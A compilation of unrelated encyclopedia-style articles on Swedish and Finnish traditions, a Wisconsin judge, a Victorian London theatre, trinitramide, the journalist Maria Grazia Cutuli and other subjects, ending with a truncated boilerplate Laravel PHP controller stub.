According to the Gregorian calendar, the king died on 16 November, but the Julian calendar ("old style") was still used in Protestant Sweden at the time and that date – 6 November – is still used.
History
Gustavus Adolphus Day is celebrated in Sweden, Finland, and Estonia on 6 November in memory of King Gustavus Adolphus of Sweden, who was killed on that date (old style) in 1632 at the Battle of Lützen in the Thirty Years' War. The day is named for the king and is a general flag flying day in Sweden and in Finland.
The day has been celebrated since the early 19th century and became especially popular after the 200th anniversary celebration in 1832, of the king's death. The day was formerly celebrated with torchlight processions and patriotic speeches. Today what remains is mainly the consumption of the Gustavus Adolphus pastry (Gustav Adolfsbakelse in Swedish) on this day, with a chocolate or marzipan relief of that king on top. In Sweden, the day is especially observed in Gothenburg, which was founded by the king, but also in cities with old educational traditions, such as Uppsala, where he donated considerable funding to the university, and in cities where the military traditionally has been based.
The day has been celebrated in Finland since 1908 by the Swedish speakers as Svenska dagen, Finnish Swedish Heritage Day. In Estonia, which like Finland was a part of Sweden during the reign of Gustavus Adolphus, the day is known as Gustav Adolfi päev. In all three countries, 6 November is the name day for Gustav Adolf, Gustavus Adolphus' name in Swedish, or Kustaa Aadolf, the name in Finnish.
Sjättenovembervägen ("Sixth November Road"), a part of the old Göta highway in the Stockholm borough of Älvsjö, is named for this day. According to the 1924 street naming committee, the road was the entry point into Stockholm for the king's funeral procession.
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In Memory of a Great Man, Spokane Daily Chronicle, 4 November 1901 Swedes in the US celebrating Gustavus Adolphus Day, 1909
Gustavus Adolphus of Sweden
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Society of Sweden
Lutheranism in Sweden
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Penkkarit (more formally penkinpainajaiset, "benchpressing [fest]", or bänkskuddardagen ("penkis, penkisdagen") in Swedish) is a yearly tradition among Finnish upper secondary school () students. The event is celebrated in the spring of their final, usually third, year as the final day of school, before the start of the matriculation exams. Traditionally, the date of penkkarit is a Thursday in late or mid-February.
The origin
Until 1919, the Finnish matriculation exam took place in University of Helsinki and was formally the entrance exam of this university. The upper secondary school students who wished to graduate left their hometowns for Helsinki, usually somewhat ceremonially. After 1919, the examination was conducted in schools. However, since the 1920s, the students stop attending classes in February, devoting themselves to solitary preparation for the exams which are held in March.
Celebration
The celebration of the penkkarit varies from school to school. Usually, the school-leaving students dress as for a masquerade, following a theme decided by themselves. The event often includes following elements
school-leavers visiting the classes of junior students, interrupting the teaching and replacing it with a parody class.
throwing candy at the junior students
visiting lower secondary or primary school, meeting old teachers and throwing candy
singing parodic songs about the teachers
presenting a humorous short film (Finnish: abivideo) to other students at the school hall
The ceremonies usually end with the school-leavers riding away from the school on lorries decorated for the purpose. The design of the decorations is usually a mixture of pride in and insult at their own school. Often, the students then visit the major local elementary schools.
In larger towns, the penkkarit culminate at a parade where the lorries drive across the city at a slow speed, and the final-year students on top of them shouting slogans and throwing candy at passers-by. The event is particularly popular among children, who come to the streets to collect free candy. For example, in April 2022 there were more than 4000 local final-year students in individual lorries and trucks that drove the students in around Central Helsinki.
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Edward Vernon Whiton (June 2, 1805April 12, 1859) was an American lawyer, jurist, and Wisconsin pioneer. He was the first elected Chief Justice of the Wisconsin Supreme Court (3rd overall), serving on the Supreme Court from its creating in 1848 until his death in 1859. He had previously served in the Wisconsin Territory legislature and was a framer of Wisconsin's constitution.
Biography
Born in South Lee, Massachusetts, the son of General Joseph Whiton, who had served in the American Revolutionary War and the War of 1812. Whiton moved to Janesville, in the Wisconsin Territory, in 1836, where he practiced law.
From 1838 to 1842, he served as a Representative to the Legislative Assembly of the Wisconsin Territory, and served as speaker for the 3rd Session of the 2nd Assembly (1840). From 1842 through 1846, he served in the Wisconsin Territorial Council (Upper House).
In 1847, Whiton was elected to the second Wisconsin Constitutional Convention. In the 1848 election in which Wisconsin voters ratified the new constitution, Whiton was also elected to become one of the first Wisconsin Circuit Court judges under the new constitution. This also made Whiton a member of the first Supreme Court of Wisconsin, which was at that time composed of the state's elected Circuit Court Judges. On January 3, 1852, the circuit court judges together elected Judge Mortimer M. Jackson as the next chief justice, but when he declined the office, Whiton was chosen.
In 1852, the Wisconsin Legislature voted to create a new Supreme Court, distinct from the Circuit Courts. Later that year, Whiton was elected the first chief justice of that newly formed Supreme Court, defeating Democrat Charles H. Larrabee. Whiton served as chief justice until his death in 1859, having been re-elected in 1857.
Supreme Court
In the "Booth cases" of 1854 (Ableman v. Booth) and 1855 (In Re: Booth and Ryecraft), Whiton issued significant opinions in favor of states' rights to nullification of federal laws. The Booth cases centered on Milwaukee abolitionists Sherman Booth and John Ryecraft, who were charged under the Fugitive Slave Act of 1850 with aiding the escape of Joshua Glover to Canada. Booth was arrested by U.S. Marshall Stephen Ableman, but sought a writ of habeas corpus from a Wisconsin court. The court granted the writ, and Ableman appealed the ruling to the Wisconsin Supreme Court. Whiton wrote in the majority, with Justice Abram D. Smith, that the Fugitive Slave Act was unconstitutional, and affirmed that Booth should be released. The U.S. Supreme Court overruled the Wisconsin decision, asserting the supremacy clause and ruling that the power of the State of Wisconsin "is limited and restricted by the Constitution of the United States." The Wisconsin Supreme Court refused to file the U.S. Court's mandate—and never has. The case significantly inflamed abolitionist passions in Wisconsin in the run-up to the American Civil War. Booth was ultimately pardoned in the final days of the presidency of James Buchanan.
In the 1856 Bashford v. Barstow case, Whiton effectively decided the outcome of the 1855 Wisconsin gubernatorial election. Initially, Democrat William A. Barstow, the incumbent Governor, appeared to be the winner by a mere 157 votes. His opponent, Republican Coles Bashford challenged the result as fraudulent, an allegation which was borne out by the discovery of fabricated votes from non-existent precincts. Barstow argued that as head of the executive branch, he had the authority to count the votes and certify the results, and that the legislative and judicial branches could not interfere. The Court ruled that, according to the Wisconsin Constitution, it was the election, not the canvass, which determined the right to the office. After the ruling, Barstow's militia, which had been prepared to enforce his election with violence, began to disperse. Barstow relented, and Bashford was eventually allowed to take office as the 5th Governor of Wisconsin. The case was an important precedent for the Supreme Court as the ultimate arbiter of the law in Wisconsin.
In 1859 his health began to fail. He took a leave from the Court in the spring of 1859 and died at his home in Janesville on April 12, 1859.
Personal life and family
Whiton married Amoret Dimock in 1847. They had four children together, but only one survived to adulthood.
Electoral history
Wisconsin Supreme Court (1852)
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1805 births
1859 deaths
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The Anglican Diocese of Ijebu is one of 13 within the Anglican Province of Lagos, itself one of 14 provinces within the Church of Nigeria. The last bishop, Ezekiel Ayo Awosoga died in 2020. The current bishop is Peter Rotimi Oludipe; he was consecrated a bishop on 21 September 2020 at the Cathedral Church of the Advent, Abuja; he is the fifth bishop diocesan.
References
Church of Nigeria dioceses
Dioceses of the Province of Lagos |
Popovec is a village in Croatia. It is connected by the D3 highway. It is formally a settlement (naselje) of Zagreb, the capital of Croatia.
Demographics
According to the 2021 census, its population was 954. According to the 2011 census, it had 937 inhabitants.
References
Populated places in the City of Zagreb |
The Lyapunov–Malkin theorem (named for Aleksandr Lyapunov and ) is a mathematical theorem detailing stability of nonlinear systems.
Theorem
In the system of differential equations,
where and are components of the system state, is a matrix that represents the linear dynamics of , and and represent higher-order nonlinear terms. If all eigenvalues of the matrix have negative real parts, and X(x, y), Y(x, y) vanish when x = 0, then the solution x = 0, y = 0 of this system is stable with respect to (x, y) and asymptotically stable with respect to x. If a solution (x(t), y(t)) is close enough to the solution x = 0, y = 0, then
Example
Consider the vector field given by
In this case, A = -1 and X(0, y) = Y(0, y) = 0 for all y, so this system satisfy the hypothesis of Lyapunov-Malkin theorem.
The figure below shows a plot of this vector field along with some trajectories that pass near (0,0). As expected by the theorem, it can be seen that trajectories in the neighborhood of (0,0) converges to a point in the form (0,c).
References
Theorems in dynamical systems
Stability theory |
Business reporting or enterprise reporting refers to both "the public reporting of operating and financial data by a business enterprise," and "the regular provision of information to decision-makers within an organization to support them in their work."
Business reporting is a fundamental part of the larger movement towards improved business intelligence and knowledge management. It also involves the smooth transfer of information from lower management to the bord of decision makers in the business co-operation or company hence reducing the resistance that would otherwise be there for effective decision making processes to network inter-connectively
Implementation often involves extract, transform, and load (ETL) procedures in coordination with a data warehouse and then using one or more reporting tools. Reports can be distributed in print form, via email or accessed via a corporate intranet.
Unified reports
With the expansion of information technology there has been an increase in the production of unified reports which join different views of an organization in one place. This reporting process involves querying data sources with different logical models to produce a human-readable report. For example, a decision maker may need to query a human resources databases and a capital improvements databases to show how efficiently space is being used across an entire corporation.
Acceptance of business reports
Reporting can also be used for verification and cross-checks. Audit teams like the Financial Industry Regulatory Authority (FINRA) and the U.S. Securities and Exchange Commission (SEC) adhere to reports for all business firms. Standard Business Reporting is a group of international programs instigated by a number of governments with the end of make business the center when it comes to managing business-to-government reporting obligations.
Formalities
Business reports can be presented in many forms, including digital or physical representations. Digital reports can be in interactive media and viewed through a standard web browser,
or other software, or more statically represented as for example in a PDF file, or printed on paper. A pagination of a business report may be formatted to be more suitable for printing to paper or PDF, including specification of physical measurements which matches the paper, page splits, and how data is split across multiple pages.
See also
Data reporting
Operational reporting
References
Business intelligence terms |
"No Name" (stylized as "NO NAME") is a song by American rapper NF. It was released as a single on January 19, 2018.
Background
NF raps about his growth as an artist, dealing with fame and his new found success.
Feuerstein dedicated the song to his come up from his worldwide hit, Let You Down. He discussed his success in an interview with New Musical Express:
Music video
The official music video was released on January 18, 2018, on NF's Vevo channel. The video showcases NF rapping in a dark alleyway.
Track listing
Charts
Certifications
References
2018 singles
2018 songs
NF (rapper) songs
Songs written by Tommee Profitt
Songs written by NF (rapper) |
Salaria basilisca is a species of combtooth blenny found in the Mediterranean Sea near Tunisia and Turkey, also in the Adriatic Sea. This species reaches a length of TL. It is found among seagrass, sometimes where there is a rocky substrate. The male guards the eggs produced by several females. They are protogynous hermaphrodites with individuals being females while young changing to males later.
References
basilisca
Fish described in 1836
Fish of the Mediterranean Sea
Fish of Europe
Fish of West Asia
Fish of Africa |
Marks Tey is a large village and electoral ward in Essex, England; it is located six miles west of Colchester.
Facilities
Marks Tey is one of a group of villages called the Teys, also including Great Tey and Little Tey. Its main features include a village hall built in 1993 on the fields intersecting the A12 and A120, with an adjacent children's play park and a skateboard park. Next to that (between A12 & A120) is a suburban estate that was built in the mid-1970s. Near to the play park, there is a small parish hall, used for children's kindergarten and small exhibitions. The hall was almost doubled in size after the extension of the new Basketball hall.
The village has a parish church, St Andrew's. The church hall is central to the community, and hosts 1st Marks Tey Scouts Group with Beavers, Cubs and Scouts.
Following the demolition of the Prince of Wales public house, the Red Lion was the only pub serving the village but recently closed down during the Covid-19 pandemic. In 2001 The Food Company erected their first outlet on the site of the former Prince of Wales, selling speciality foods and drink - however the business closed in 2017. The premises were refurbished in 2021 and are now the Commercial Hub for regional solicitors, Holmes and Hills LLP. Also located on London Road are a post office, convenience store, fish and chip shop, Indian & Chinese take-aways, a butchers, bakers, hairdressers, a cycle shop, a car supplies shop, a petrol garage and Marks Tey Pharmacy.
Marks Tey Football Club was established in 1998. The home ground is Jubilee Playing Fields in Old London Road, alongside the skateboard park. They currently have one men's Saturday team, one men's Sunday team, one veterans' team, two youth teams, and two mini football teams.
Transport
Marks Tey railway station is on the Great Eastern Main Line between London Liverpool Street and Ipswich; it is also a junction and eastern terminus for the Sudbury Branch Line. Passenger trains are operated by Greater Anglia. Services run generally half-hourly in each way to Liverpool Street southbound and to Colchester and Ipswich northbound, with hourly services on the branch line to Sudbury.
Bus services are provided by the 370/371 First Bus service between Chelmsford and Colchester.
The village is located beside the A12 dual carriageway, which connects east London with Lowestoft.
References
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Villages in Essex |
Nabilah Naggayi Sempala is a Ugandan politician. She is the incumbent Member of Parliament representing the Kampala Women Parliamentary Constituency in the 10th Ugandan Parliament (2016 to 2021).
Background and education
Nabilah Naggayi was born in Uganda in April 1972. She attended Kibuli Demonstration School for her primary education before she transferred to Kibuli Secondary School for her O-Level studies. She then completed her A-Level education at Mengo Senior School, graduating from there with a High School Diploma in 1992.
In 1994, Naggayi graduated with a Diploma in Translation from Saarland University, in Saarbrücken, Germany. In 1996, she went off to obtain a Bachelor of Arts degree from Makerere University, the oldest and largest public university in Uganda. Her degree of Master of Arts in Public Administration, was awarded by Makerere University in 2011.
Career
Naggayi began her political career as a Councilor in Wakiso District Local Government in 2001, serving in that capacity until 2005. She, with others, including Muhammad Nsereko, the incumbent member of Parliament for Kampala Central Division, established the Social Democratic Party (SDP). She actively campaigned for the re-opening of the political space to multi-party democracy during the 2005 referendum. It was not until the run-up to the 2006 general elections, that she formally joined the Forum for Democratic Change (FDC) political party.
In 2006, at the age of 35, she unseated Margaret Nantongo Zziwa of the National Resistance Movement (NRM) political party, to capture the Women Representative's seat for Kampala in the 8th parliament (2006 to 2011).
During the 2011 parliamentary elections, she received 222,724 votes compared to the 164,378 votes her closest challenger, Margaret Zziwa of the NRM received. During 2013, a group of lawyers sued her, the Attorney General of Uganda and the Electoral Commission of Uganda, on a technicality, since the Central Government of Uganda had taken over the management of Kampala on 28 December 2010, and the city had ceased to be regarded as a district.
In 2016 Naggayi faced off with five other contestants, including the incumbent Minister of State for Youth and Children's Affairs, Florence Nakiwala Kiyingi. However Naggayi won handily. During the debate to remove presidential age limits from the Uganda Constitution, Naggayi was one of the opposition members of parliament who were forcibly removed from the house chamber by security forces, on 27 September 2017, although she had not been suspended by the Speaker.
She stood for the position of Lord Mayor for the 2021-2026 elections and lost to Erias Lukwago.
See also
Forum for Democratic Change
Kampala Capital City Authority
References
External links
Website of the Parliament of Uganda
Nabilah Naggayi Sempala highlights some of her achievements
FDC Dismayed As Nabilah Spills Party Rot on Facebook
Living people
1971 births
Ganda people
Members of the Parliament of Uganda
21st-century Ugandan women politicians
21st-century Ugandan politicians
Women members of the Parliament of Uganda
People from Kampala
Saarland University alumni
Forum for Democratic Change politicians
Politicians from Central Region, Uganda
Makerere University alumni |
Jieping Zhu (祝介平; born 1965 in Xiaoshan, Hangzhou, China) is an organic chemist specializing in natural product total synthesis and organometallics. He is a professor of chemistry at EPFL (École Polytechnique Fédérale de Lausanne) and the head of the Laboratory of Synthesis and Natural Products.
Career
Zhu studied chemistry at Hangzhou Normal University and at Lanzhou University, both in China. He then joined Henri-Philippe Husson and Jean-Charles Quirion to pursue a PhD in organic chemistry at the Institute de Chimie des Substances Naturelles at the French National Centre for Scientific Research. In 1991, he graduated with a thesis on Synthèse asymétrique de dérivés de l'histrionicotoxine et de spiropipéridines apparentées (Asymmetric synthesis of histrionicotoxin derivatives and related spiropiperidines).
As a postdoctoral researcher he went to work with Derek Barton at the Texas A&M University and pursue research on phosphonic acid synthesis. In 1992, he joined Institut de Chimie des Substances Naturelles (ICSN) as a chargé de recherche. In 2000, he was promoted to directeur de recherche 2nd class, then 1st class in 2006 in the same institute.
Since 2010, he has been full professor of chemistry at EPFL's School of Basic Sciences of EPFL.
Research
Zhu’s research focuses on the development of new synthetic methods including multicomponent reactions, catalytic enantioselective transformations, and transition metal catalyzed domino processes. He is also immersed in the total synthesis of complex natural products and bioactive molecules.
Distinctions
Zhu is the recipient of among others the 2016 Natural Product Chemistry Award from the Royal Society of Chemistry (RSC) Natural Product Chemistry Award, the 2010 Division of Organic Chemistry (Prix SCF-DCO) award from the Société chimique de France (French Chemical Society), the 2009 Chang Jiang Scholars (Qinghua University) awarded by the Chinese Ministry of Education, the 2009 Silver Medal of CNRS, the 2008 Novartis Chemistry Lectureship, the 2004 Liebig Lectureship of the German Chemical Society, and the 2003 Prix “Emile Jungfleisch” of French Academy of Science.
He is a fellow of the Royal Society of Chemistry. He is editor at the journal Tetrahedron Letters.
Selected works
Books
Papers
References
External links
Website of the Laboratory of Synthesis and Natural Products
1965 births
Living people
Hangzhou Normal University alumni
Lanzhou University alumni
Academic staff of the École Polytechnique Fédérale de Lausanne |
The Britannia Theatre (1841–1900) was located at 115/117 High Street, Hoxton, London. The theatre was badly damaged by a fire in 1900, forcing the sale of the lease. The site was reused as a Gaumont cinema from 1913 to 1940, before being demolished to make room for a more modern cinema which was never built. Housing has now been built on the site, which is marked by a London Borough of Hackney historic plaque.
A typical night's entertainment at the Britannia Theatre would include 3–4 plays, with variety acts in the intervals between. Many music hall acts would appear during the interval, and sometimes their acts were woven into the performance. The plays varied, from Shakespeare, Victorian melodrama and comedy. During the winter season pantomime was performed.
Unusually for a theatre, food and drink were served in the auditorium, in the style of contemporary music halls.
History
Origins
Samuel Haycraft Lane was born in Lympstone, Devon in 1803. In 1821, he decided to escape the life of a fisherman and walk to London. After living hand to mouth and educating himself, with the help of a friend, William Brian, he encountered a troupe of actors who he had previously met on his journey. He helped the leader of the troupe, Jack Adams, to find premises for performance at the Union Tavern in Shoreditch. This hall catered for 500–seated and a similar number standing. Jack Adam's company performed a successful programme of drama, song, dance and acrobatics. Sam married Jack's daughter Mary, in 1835.
The troupe always had ambitions to perform serious drama, and in 1839, the company performed Othello, breaking the law on theatrical performance, as they were not a patent theatre. Lane lost his licence and paid a substantial fine. With the increase in London's population, and the increasing popularity of live entertainment, the law was finally changed with the Theatres Act 1843.
In 1840, Lane and his colleagues thought they had identified a loophole whereby performances could be offered without charge, with profits made from the sale of programmes, food and drink. The Britannia Tavern in Hoxton was identified as suitable premises. This was the former Pimlico tea gardens, an Elizabethan tavern and had a large hall attached, holding about 1,000 people. The Royal Britannia Saloon and Brittania Tavern was opened on Easter Monday 1841 by Sam Lane. The theatre was a success. Sadly, private life was more difficult, Mary became pregnant, and slipped and fell at a rehearsal, both she and the baby died. By 1858 having purchased the leases of surrounding properties, the theatre was rebuilt in larger form, with 3,000 seats. This building designed by Finch Hill, consisting of two circles, a pit and a gallery and had a reported record attendance of 4,790.
The Britannia was notable for melodramas. These included The String of Pearls (1847), the first stage adaptation of the story of Sweeney Todd, written specifically for this venue by George Dibdin Pitt. The theatre had a resident dramatist, C.H. Hazlewood, who wrote many melodramatic spectacles for it, often based on successful novels of the time, including an adaptation of Lady Audley's Secret (1863).
Sam married Sarah Borrow in 1843. She was the daughter of an old friend, William Borrow, who Lane had appointed to a managerial position in the Britannia. On Lane's death in 1871, Sarah, succeeded him as proprietor and manager, and continued until her own death in August 1899. She appeared regularly as principal boy, in the Britannia's annual pantomimes and in the annual benefit night, appearing in a final tableaux as The Queen of Hoxton. Her name "appeared on . . . playbills as the author of a series of plays translated and adapted from the French." Sarah Lane made her last stage appearance at the Britannia's 1898 Christmas show, aged 76. Large crowds lined the route of her funeral procession from the theatre to Kensal Green Cemetery. Her estate was valued at a quarter of a million pounds, a significant sum in 1889.
Dickens' description
Charles Dickens was a frequent visitor to the theatre, and noted in the Uncommercial Traveller (1861):
King Doo-Dah
A review of King Doo-Dah, the Christmas pantomime, 1900, at the Britannia Theatre, appeared in the News of the World:
Lupino family
The Lupinos were a theatrical family who often claimed that their scion arrived in England in 1620, as a penniless refugee. George William Lupino was a puppeteer and the family continued to earn a theatrical living becoming associated with the harlequinade at Drury Lane. George Lupino Hook (1820–1902) adopted the stage name Lupino from performing with the family and was associated with the Britannia, performing in leading roles and taking the role of Harlequin in pantomime. A prolific man, reputed to have had 16 children, many became singers, dancers and actors, receiving their first experience in the company. The eldest son, civil registration as George Emanuel Samuel Hook (1853–1932) became both a clown and a prominent actor, amongst his grandchildren was the Hollywood actress Ida Lupino. Lupino Lane was the son of Harry Charles Lupino (1825–1925), a favourite of Sarah Lane and pursued a career in films and musical theatre. Lupino Lane originated The Lambeth Walk, in the
1937 musical Me and My Girl'''.
Fire and refit
Soon after the 1900 pantomime, a serious fire damaged the building. The cost of bringing the building up to standard, forced the sale of the lease. It came into the hands of the Gaumont organisation, and became a cinema in 1913. The original theatre was demolished to make way for a modern cinema which was never built because of the war. In 1940 the nearby Toy Theatre [Pollock's Toy Museum], was destroyed in World War II by German bombing but the theatre building had already gone by this time.
Legacy
The Britannia Theatre was unique amongst theatres of the time, for a number of reasons. Entry to the entertainment was always cheap, the income was made from sales of food and drink. There was an extraordinary continuity of management, the theatre was in the hands of the same family throughout its lifetime. The theatre also nurtured talent, many of the regular artistes were taken on at an early stage in their careers and remained with the theatre until retirement. The theatre prospered with the increasing free time and prosperity of its audience, and declined with the introduction of the cinema and later, radio.
Author and critic Compton Mackenzie summed up the enduring legacy of the Britannia, in Echoes (1954):
The Britannia Theatre was the subject of a 1933 novel Sam and Sallie: A novel of the theatre by Alfred L. Crauford. The Craufords had a long association with the Britannia, and Alfred was one of Sarah Lane's many nephews.
In Sarah Waters' 1998 novel Tipping the Velvet, her lead characters are engaged to play pantomime in the theatre.
The venue is mentioned in Chas and Dave's song "Harry was a Champion", describing performer Harry Champion as "king of 'em all at the music hall or down at the Old Britannia".
Notable performers
Dan Leno actor and comedian
Lupino Lane (actor and film director, actually great-nephew of Sarah Lane)
Vesta Tilley (male impersonator)
Arthur Lloyd (Scottish singer, songwriter, comedian)
Joseph Reynolds (actor)
George Barnes Bigwood (Resident low comedian, and occasional stage manager)
James Anderson, a renowned Shakespearian actor of the time, was engaged at a salary of £180 a week in 1851.
References
Sources
Further reading
Crauford, Alfred L. (1933). Sam and Sallie: A novel of the theatre''. London: Cranley and Day.
Playbills, productions and cast lists Britannia Theatre Hoxton, in the collection of the University of Kent
External links
"Film: Hoxton... Saturday July 3rd, Britannia Theatre" (1920)
Theatres completed in 1841
1900 disestablishments
Former buildings and structures in the London Borough of Hackney
Former theatres in London
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The Dallas Reunion Pro-Am was a golf tournament on the Champions Tour from 1985 to 1995. It was played at a number of locations in the greater Dallas, Texas area: Bent Tree Country Club (1985–1988), Stonebriar Country Club (1989–1993) in Frisco, Texas, and Oak Cliff Country Club (1994–1995).
The purse for the 1995 tournament was US$550,000, with $82,500 going to the winner. The tournament was founded in 1985 as the Senior Players Reunion Pro-Am.
Winners
Dallas Reunion Pro-Am
1995 Tom Wargo
1994 Larry Gilbert
Muratec Reunion Pro-Am
1993 Dave Stockton
Murata Reunion Pro-Am
1992 George Archer
1991 Chi-Chi Rodríguez
1990 Frank Beard
Murata Seniors Reunion
1989 Don Bies
Senior Players Reunion Pro-Am
1988 Orville Moody
1987 Chi-Chi Rodríguez
1986 Don January
1985 Peter Thomson
Source:
References
Former PGA Tour Champions events
Golf in Texas
Sports in Dallas
Pro–am golf tournaments
1985 establishments in Texas
1995 disestablishments in Texas |
Pesikta Rabbati (Hebrew: פסיקתא רבתי P'siqta Rabbita, "The Larger P'siqta") is a collection of aggadic midrash (homilies) on the Pentateuchal and prophetic readings, the special Sabbaths, and so on. It was composed around 845 CE and probably called "rabbati" (the larger) to distinguish it from the earlier Pesikta de-Rav Kahana (PdRK).
Contents
Pesikta Rabbati has five entire piskot (sections) in common with PdRK — numbers 15 ("Ha-Hodesh"), 16 ("Korbani Lachmi"), 17 ("Vayechi ba-Hatzi"), 18 ("Omer"), 33 ("Aniyyah So'arah"), and the majority of No. 14 ("Para") — but otherwise it is very different from PdRK, being in every respect like the Tanhuma midrashim.
In 1880 Friedmann edited a version of the Pesikta Rabbati which contains, in 47 numbers, about 51 homilies, part of which are combinations of smaller ones; seven or eight of these homilies belong to Hanukkah, and about seven each to Shavuot and Rosh Hashana, while the older PdRK contains one each for Hanukkah and Shavuot and two for Rosh Hashana.
Pesikta Rabbati contains also homilies to Torah readings which are not paralleled in PdRK. There are also various differences between these two Pesiktot in regard to the Torah readings for holidays and for the Sabbaths of mourning and of comforting. The works are entirely different in content, with the exception of the above-mentioned Nos. 15-18, the part of No. 14, and some few minor parallels. PdRK contains no halakhic exordiums or proems by R. Tanhuma. But in the Pesikta Rabbati there are 28 homilies with such exordiums having the formula "Yelammedenu Rabbenu," followed by proems with the statement "kach patach R. Tanhuma"; while two homilies (Nos. 38 and 45, the first of which is probably defective) have the Yelammedenu but lack proems with "kach patach".
Some of the homilies have more than one proem by R. Tanhuma. The piskot taken from PdRK have of course no Yelammedenu or Tanḥuma proems; the first part of piskah No. 14, which does not belong to PdRK, has at the beginning two halakhic introductions and one proem of R. Tanhuma. Homilies Nos. 20-24, which together form a midrash to the Ten Commandments, lack these introductions and proems. Only three of the homilies for the Sabbaths of mourning and comforting (Nos. 29, 31, 33) have such passages; but they are prefixed to those homilies, beginning with No. 38 (except No. 46, which is of foreign origin), which have the superscription "Midrash Harninu"—a name used to designate the homilies for Rosh Hashana and Sukkot which the old authors found in the Pesikta Rabbati.
The present edition of the Pesikta Rabbati, which ends with the homily for Yom Kippur, is doubtless defective; the older PdRK has also various homilies for Sukkot, Shemini Atzeret, and Simchat Torah. In addition, some of the homilies (Nos. 19, 27, 38, 39, 45) are defective. Pesikta Rabbati therefore appears to be a combination of various parts; perhaps the homilies were added later.
It is said above that No. 46 is a foreign addition; here Psalms 90:1 is interpreted as an acrostic למשה (ascribed to Moses), and there is also a passage from the Midrash Konen. Other passages also may have been added, as the passage in No. 20, which is elsewhere quoted in the name of the "Pirkei Heikhalot" and of "Ma'aseh Bereshit". No. 36 was considered doubtful on account of its contents; No. 26 is peculiar, referring not to a Scripture passage but to a verse or a parable composed by the author.
The diction and style are very fine in many passages. In the beginning of the first homily, which shows the characteristics of the "genuine" portions of the Pesikta Rabbati (in the proems of R. Tanhuma following the halakic exordium), the year 845 is indicated as the date of composition of the work; there are no grounds for regarding the date as a gloss.
In the appendix to the Friedmann edition, four homilies are printed from a manuscript, Nos. 1 and 2 of which have yelammedenus and proems. The midrash referred to here is a later, shorter midrash for the feast-days, designated as "New Pesikta," and frequently drawing upon the Pesikta Rabbati; it has been published by Jellinek.
References
Sources
Pesikta Rabbati; Discourses for Feasts, Fasts, and Special Sabbaths, Part 1 (1968), translated by William G. Braude. Yale University Press. . William G. Braude is Rabbi of the Congregation Sons of Israel and David, Providence, Rhode Island.
Rivka Ulmer (ed.), A Synoptic Edition Of Pesiqta Rabbati Based Upon All Extant Hebrew Manuscripts And The Editio Princeps. Vol. I. Atlanta: Scholars Press, 1997. Vol. II. Atlanta: Scholars Press, 1999.Vol. III and Index. Lanham, MD: University Press of America, 2002. Paperback edition, vols. I-III, 2009.
Jewish Virtual Library - Pesikta Rabbati
Aggadic Midrashim
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9th-century books
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Trinitramide is a compound of nitrogen and oxygen with the molecular formula N(NO2)3. The compound was detected and described in 2010 by researchers at the Royal Institute of Technology (KTH) in Sweden. It is made of a nitrogen atom bonded to three nitro groups(-NO2).
Earlier, there had been speculation whether trinitramide could exist. Theoretical calculations by Montgomery and Michels in 1993 showed that the compound was likely to be stable.
Trinitramide has a potential use as one of the most efficient and least polluting of rocket propellant oxidizers, as it is chlorine-free.
This is potentially an important development, because the Tsiolkovsky rocket equation implies that even small improvements in specific impulse yields a similar change in delta-v, which can make large improvements in the size of practical rocket launch payloads.
The density impulse (impulse per volume) of a trinitramide based propellant could be 20 to 30 per cent better than most existing formulations, however the specific impulse (impulse per mass) of formulations with liquid oxygen is higher.
References
Nitrogen oxides
Rocket oxidizers
Spacecraft propulsion
Nitroamines |
Maria Grazia Cutuli (26 October 1962 – 19 November 2001) was an Italian journalist who worked as a reporter with the daily newspaper Corriere della Sera. She was killed while on assignment in Afghanistan where she was covering the US military invasion following the terrorist attacks on 11 September 2001. She was murdered between Jalalabad and Kabul with three other journalists. Cutuli was the first female and first Italian journalist to be killed during the War in Afghanistan in 2001.
Personal
Maria Grazia Cutuli was born and raised in Catania, Sicily, but later she resided in Milan as a professional journalist. She studied philosophy and graduated from the University of Catania. She took up residence in Milan by 1990.
Career
Maria Grazia Cutuli worked as a journalist for over 11 years. She first worked for the newspaper La Sicilia, at first writing theater reviews, and in local broadcast news. She wrote for magazines, such as Epoca and Panorama. She traveled to Israel, Cambodia, Sudan, Rwanda and South Africa and wrote freelance articles to build her credentials as a foreign correspondent. She worked for Corriere della Sera since 1997. After her murder in Afghanistan, she was elevated to "Special Correspondent" by Corriere della Sera.
Death
Maria Grazia Cutuli was murdered along with Spanish war correspondent Julio Fuentes of El Mundo, and Australian Harry Burton and Afghan Azizullah Haidari, who both worked for Reuters. They were murdered about 90 kilometers from Kabul near Sarubi, located in the Nangarhar Province, on 19 November 2001, as the group travelled between Jalalabad and Kabul. Her autopsy revealed that she had died from 4 gun shot wounds to the back and it confirmed her earlobe had been cut off, which was done by her murderer for jewellery.
A group of journalists had left in a small convoy of about 8 cars from Jalalabad and were en route to Kabul. The first several cars of the convoy were stopped near a bridge by armed, Pashto-speaking men who identified themselves as Taliban. When rock throwing and shooting ensued, the 4 cars in the rear turned and escaped back to Jalalabad. Before she was killed, Cutili was raped by the later convicted murderer Reza Khan.
On the same day of her death, her last article in Corriere della Sera was published, called "A deposit of nerve gas in the base of Osama." That story was filed earlier but reported on the discovery of a chemical factory that posed a threat during the war.
Legal proceedings
Reza Khan testified that the Taliban ordered the murder of journalists. Other independent sources at the time implicated the Taliban.
In 2004 Reza Khan was convicted in Kabul for the murders and also rape, as well as additional crimes against Afghan nationals. He was sentenced to death in November 2004. Two Afghani brothers were also implicated and convicted in the murder of the other journalists in 2005. Khan was executed by gunfire in October 2007 at the same time that 14 others were executed, including the convicted murderers of her colleagues.
Context
The group of journalists was killed within a week of the fall of the Taliban during a period of time when other journalists were also targets.
Impact
Maria Grazia Cutuli became a hero in Italy after her murder. Her funeral service at Sant'Agata Cathedral in her native region of Sicily was attended by around 5,000 people. The Cutuli Onlus Foundation was formed in March 2008 in her birth city of Catania. A school for immigrants was also founded in her hometown. A national journalism award was created in Italy that carried the name of Cutuli.
Reactions
Among those who reacted to the murder of Cutuli was the Italian President Carlo Azeglio Ciampi and Prime Minister Silvio Berlusconi.
See also
List of journalists killed during the War in Afghanistan (2001–present)
References
External links
Foundation Maria Grazia Cutuli
1962 births
2001 deaths
Assassinated Italian journalists
Italian women journalists
Journalists killed while covering the War in Afghanistan (2001–2021)
Violence against women in Afghanistan
Women war correspondents
20th-century Italian journalists |
```php
<?php
namespace App\Http\Controllers;
use Illuminate\Foundation\Bus\DispatchesJobs;
use Illuminate\Routing\Controller as BaseController;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
abstract class Controller extends BaseController
{
